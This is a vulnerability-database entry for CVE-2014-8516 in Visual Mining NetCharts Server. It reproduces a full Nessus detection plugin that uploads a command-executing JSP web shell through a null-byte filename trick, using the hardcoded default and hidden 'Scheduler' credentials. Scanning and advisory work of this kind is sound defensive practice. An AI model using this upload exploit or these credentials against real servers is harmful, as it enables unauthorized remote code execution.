Vulnerabilities > CVE-2014-8516 - Unrestricted Upload of File with Dangerous Type vulnerability in Cloudfastpath Netcharts Server

047910
CVSS 10.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
cloudfastpath
CWE-434
critical
nessus
exploit available
metasploit

Summary

Unrestricted file upload vulnerability in Visual Mining NetCharts Server allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via unspecified vectors.

Vulnerable Configurations

Part Description Count
Application
Cloudfastpath
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Accessing Functionality Not Properly Constrained by ACLs
    In applications, particularly web applications, access to functionality is mitigated by the authorization framework, whose job it is to map ACLs to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application or can run queries for data that he is otherwise not supposed to.
  • Privilege Abuse
    An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources. If access control mechanisms are absent or misconfigured, a user may be able to access resources that are intended only for higher level users. An adversary may be able to exploit this to utilize a less trusted account to gain information and perform activities reserved for more trusted accounts. This attack differs from privilege escalation and other privilege stealing attacks in that the adversary never actually escalates their privileges but instead is able to use a lesser degree of privilege to access resources that should be (but are not) reserved for higher privilege accounts. Likewise, the adversary does not exploit trust or subvert systems - all control functionality is working as configured but the configuration does not adequately protect sensitive resources at an appropriate level.

D2sec

nameVisual Mining NetCharts Server 7.0 File Upload
urlhttp://www.d2sec.com/exploits/visual_mining_netcharts_server_7.0_file_upload.html

Exploit-Db

descriptionVisual Mining NetCharts Server Remote Code Execution. CVE-2014-8516. Remote exploit for java platform
idEDB-ID:35211
last seen2016-02-04
modified2014-11-10
published2014-11-10
reportermetasploit
sourcehttps://www.exploit-db.com/download/35211/
titleVisual Mining NetCharts Server Remote Code Execution

Metasploit

descriptionThis module exploits multiple vulnerabilities in Visual Mining NetCharts. First, a lack of input validation in the administration console permits arbitrary jsp code upload to locations accessible later through the web service. Authentication is typically required, however a 'hidden' user is available by default (and non-editable). This user, named 'Scheduler', can only login to the console after any modification in the user database (a user is added, admin password is changed etc). If the 'Scheduler' user isn't available valid credentials must be supplied. The default Admin password is Admin.
idMSF:EXPLOIT/MULTI/HTTP/VISUAL_MINING_NETCHARTS_UPLOAD
last seen2020-06-05
modified2018-08-20
published2014-11-05
referenceshttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8516
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/http/visual_mining_netcharts_upload.rb
titleVisual Mining NetCharts Server Remote Code Execution

Nessus

NASL familyCGI abuses
NASL idVISUAL_MINING_NETCHARTS_SERVER_FILE_UPLOAD.NASL
descriptionThe Visual Mining NetCharts Server web interface installed on the remote web server is affected by a file upload vulnerability due to a built-in hidden account. An unauthenticated, remote attacker can exploit this issue to upload files with arbitrary code and then execute them on the remote host.
last seen2020-06-01
modified2020-06-02
plugin id80083
published2014-12-17
reporterThis script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/80083
titleVisual Mining NetCharts Server Arbitrary File Upload
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(80083);
  script_version("1.10");
  script_cvs_date("Date: 2019/11/27");

  script_cve_id("CVE-2014-8516");
  script_bugtraq_id(70895);

  script_name(english:"Visual Mining NetCharts Server Arbitrary File Upload");
  script_summary(english:"Attempts to upload a file to execute arbitrary code.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a JSP script that allows arbitrary file
uploads.");
  script_set_attribute(attribute:"description", value:
"The Visual Mining NetCharts Server web interface installed on the
remote web server is affected by a file upload vulnerability due to a
built-in hidden account. An unauthenticated, remote attacker can
exploit this issue to upload files with arbitrary code and then
execute them on the remote host.");
  script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-14-372/");
  script_set_attribute(attribute:"solution", value:
"Restrict access to the vulnerable server.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Visual Mining NetCharts Server 7.0 File Upload");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Visual Mining NetCharts Server Remote Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/11/03");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/12/17");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:visual_mining:netcharts_server");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("visual_mining_netcharts_server_web_detect.nbin", "os_fingerprint.nasl");
  script_require_keys("installed_sw/Visual Mining NetCharts Server");
  script_exclude_keys("global_settings/supplied_logins_only");
  script_require_ports("Services/www", 8001);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");

if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

app = "Visual Mining NetCharts Server";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:8001);

install = get_single_install(app_name:app, port:port);
install_dir = install["path"];

creds = make_array("Admin", "Admin", "Scheduler", "!@#$scheduler$#@!");

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig /all';
  else cmd = 'id';

  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig /all');

cmd_pats = make_array();
cmd_pats['id'] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats['ipconfig /all'] = "Subnet Mask";
line_limit = 2;

vuln = FALSE;

foreach cmd (cmds)
{
  if (cmd == 'id')
    dir_cmd = 'pwd';
  else
    dir_cmd = 'cmd /c dir .';

  jsp_content = '<%@ page import="java.io.*" %>
<%
Process p = Runtime.getRuntime().exec("'+cmd+'");
Process p2 = Runtime.getRuntime().exec("'+dir_cmd+'");
String output= "";
String temp = null;
InputStreamReader reader = new InputStreamReader(p.getInputStream());
BufferedReader stdin = new BufferedReader(reader);

while ((temp = stdin.readLine()) != null)
{
  output += temp;
  if (temp.length() > 0) {output += "\\n";}
}

output += "\\n";
temp = null;
reader = new InputStreamReader(p2.getInputStream());
stdin = new BufferedReader(reader);

while ((temp = stdin.readLine()) != null)
{
  output += temp;
  if (temp.length() > 0) {output += "\\n";}
}
%><%= output %>';

  foreach user (keys(creds))
  {
    pass = creds[user];

    clear_cookiejar();

    jsp_file_name = "nessus_" + rand() + ".jsp";
    bound = "_bound_nessus_" + rand();

    post_data =
      '--' + bound + '\r\n' +
      'Content-Disposition: form-data; name="FILE1"; filename="' + jsp_file_name + '\x00nessusArchive0301140000.zip"\r\n' +
      'Content-Type: application/octet-stream\r\n' +
      '\r\n' +
      jsp_content + '\r\n' +
      '--' + bound + '--';

    path = install_dir + "Admin/archive/upload.jsp?mode=getZip";

    # Attempt upload
    res2 = http_send_recv3(
      method    : "GET",
      item      : path,
      data      : post_data,
      username  : user,
      password  : pass,
      add_headers:
        make_array("Content-Type",
                   "multipart/form-data; boundary=" + bound),
      port         : port,
      exit_on_fail : TRUE
    );
    exp_request = http_last_sent_request();

    # if our creds don't work for the upload, skip attempting to verify
    if ("401" >< res2[0])
      continue;

    # Try accessing the file we created
    upload_loc = install_dir + "Admin/archive/ArchiveCache/";
    verify_path = upload_loc + jsp_file_name;
    res2 = http_send_recv3(
      method       : "GET",
      item         : verify_path,
      port         : port,
      username     : user,
      password     : pass,
      exit_on_fail : TRUE
    );
    output = res2[2];

    if (output =~ cmd_pats[cmd])
    {
      vuln = TRUE;

      get_up_path = "";
      # Extract path for reporting
      if (cmd == 'id')
      {
        line_limit = 2;
        get_path = strstr(output, "/");
        get_up_path = chomp(get_path) + "/webapps/Admin/archive/ArchiveCache/";
      }
      else
      {
        line_limit = 10;
        get_path = strstr(output, "Volume in drive");
        get_dir = egrep(pattern:" Directory of (.+)", string:get_path);
        if(get_dir != "")
           get_up_path = chomp((get_dir - " Directory of ")) + '\\webapps\\Admin\\archive\\ArchiveCache\\';
      }
      break;
    }
  }
  if (vuln) break;
}

full_url = build_url(port:port, qs:path);
if (!vuln)
  audit(AUDIT_WEB_APP_NOT_AFFECTED, app, full_url);

verify_url = build_url(port:port, qs:verify_path);

security_report_v4(
  port        : port,
  severity    : SECURITY_HOLE,
  cmd         : cmd,
  line_limit  : line_limit,
  request     : make_list(full_url, verify_url),
  output      : chomp(output),
  rep_extra   : '\n' + 'Note: This file has not been removed by Nessus and will need to be' +
                '\n' + 'manually deleted (' + get_up_path + jsp_file_name + ').'
);

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/129023/visual_mining_netcharts_upload.rb.txt
idPACKETSTORM:129023
last seen2016-12-05
published2014-11-07
reporterjuan vazquez
sourcehttps://packetstormsecurity.com/files/129023/Visual-Mining-NetCharts-Server-Remote-Code-Execution.html
titleVisual Mining NetCharts Server Remote Code Execution